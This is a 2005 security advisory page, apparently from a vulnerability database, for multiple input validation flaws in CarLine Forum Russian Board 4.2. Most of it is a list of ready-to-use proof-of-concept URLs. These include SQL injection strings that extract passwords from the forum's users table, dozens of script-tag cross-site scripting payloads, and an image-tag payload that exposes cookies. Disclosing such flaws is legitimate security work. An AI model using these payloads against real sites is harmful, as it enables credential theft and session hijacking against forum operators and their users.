exploits , vulnerabilities , articles , CarLine Forum Russian Board Multiple Input Validation Vulnerabilities

Title	CarLine Forum Russian Board Multiple Input Validation Vulnerabilities
Published	2005-06-23-12:00AM
Updated	2005-06-23-04:48PM
Class	Input Validation Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Discovery is credited to 1dt.w0lf and foster.
Vulnerable	CarLine Forum Russian Board 4.2
Not Vulnerable
Code	An exploit is not required. The following proof of concept examples are available: SQL injection: menu_header.php?table_sql[users]=[SQL_CODE] set.php?name_ig_array[1]=' OR 1=1/* reply_in.php?subject_reply=1&name_reply=1'&message=1&email_reply=1&t=1 reply_in.php?subject_reply=1&name_reply=1&message=1&email_reply=1'&t=1 reply.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]=666' union select password,password from frb_users /* new.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]=666' union select password,password from frb_users /* edit_msg.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]=666' union select password,password from frb_users /* memory.php?board_user_cook=1&board_user_id=1&board_user_passw=1&table_sql[users]=[SQL] memory.php?board_user_cook=1&board_user_id=1&board_user_passw=1&table_sql[users]=[DB].[TBL]&table_sql[banlist]=[SQL] line.php?board_user_id=1&board_user_cook=1&table_sql[users]=[SQL] line.php?table_sql[online]=[SQL] line.php?table_sql[online]=[DB].[TBL]&board_user_name_us=1' line.php?table_sql[online]=[DB].[TBL]&board_user_name_us=1&url=1' in.php?name_new=1'&subject_new=1&message=1&email_new=1&t=1 in.php?name_new=1&subject_new=1&message=1&email_new=1'&t=1 enter.php?sid=' enter.php?sid=1&passw=' Cross-site scripting: menu_footer.php?rows_all=><script>alert("XSS");</script> menu_footer.php?color_fon_info=><script>alert("XSS");</script> menu_footer.php?target=><script>alert("XSS");</script> menu_footer.php?patch_images="><script>alert("XSS");</script> menu_footer.php?text_poisk_form="><script>alert("XSS");</script> menu_header.php?board_user_name=<script>alert("XSS");</script> menu_header.php?board_user_name=1&color_panel_edit=><script>alert("XSS");</script> menu_header.php?target=><script>alert("XSS");</script> menu_header.php?patch_images="><script>alert("XSS");</script> menu_header.php?font_color_panel=><script>alert("XSS");</script> menu_header.php?body_color_forum=><script>alert("XSS");</script> menu_tema.php?body_color_forum=><script>alert("XSS");</script> menu_tema.php?width_forum=><script>alert("XSS");</script> menu_tema.php?cat=><script>alert("XSS");</script> search.php?text_poisk=<script>alert("XSS");</script> set.php?name_ig_array[]=<script>alert("XSS");</script> reply.php?m_id=1&t=1&mid=1&cat=3&name_ig_array[1]="><script>alert("XSS");</script> reply.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]="><script>alert("XSS");</script> new.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]="><script>alert("XSS");</script> new.php?m_id=1&t=1&mid=1&cat=3&name_ig_array[1]="><script>alert("XSS");</script> edit_msg.php?m_id=1&t=1&mid=1&cat=3&name_ig_array1[1]="><script>alert("XSS");</script> edit_msg.php?m_id=1&t=1&mid=1&cat=3&name_ig_array[1]="><script>alert("XSS");</script> HTML injection: [img]wink.gif onerror=javascript:alert(document.cookie);[/img]
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-16 Mozilla Firefox and SeaMonkey MFSA 2009-65 through -71 Multiple Vulnerabilities
2009-12-16 Merkaartor Insecure Temporary File Creation Vulnerability
2009-12-15 TYPO3 Watchdog (aba_watchdog) Unspecified Information Disclosure Vulnerability
2009-12-15 PostgreSQL Index Function Session State Modification Local Privilege Escalation Vulnerability
2009-12-15 PostgreSQL NULL Character CA SSL Certificate Validation Security Bypass Vulnerability
2009-12-15 IBM DB2 prior to 9.5 Fix Pack 5 Multiple Unspecified Security Vulnerabilities
2009-12-15 Sun Ray Server Software Desktop Session Handling Local Security Bypass Vulnerability
2009-12-15 Mozilla Firefox Sage Extension RSS Feeds Cross Domain Scripting Vulnerability
2009-12-15 Adobe Reader and Acrobat (CVE-2009-4324) Remote Code Execution Vulnerability
2009-12-14 Microsoft Protected Extensible Authentication Protocol Authentication Bypass Vulnerability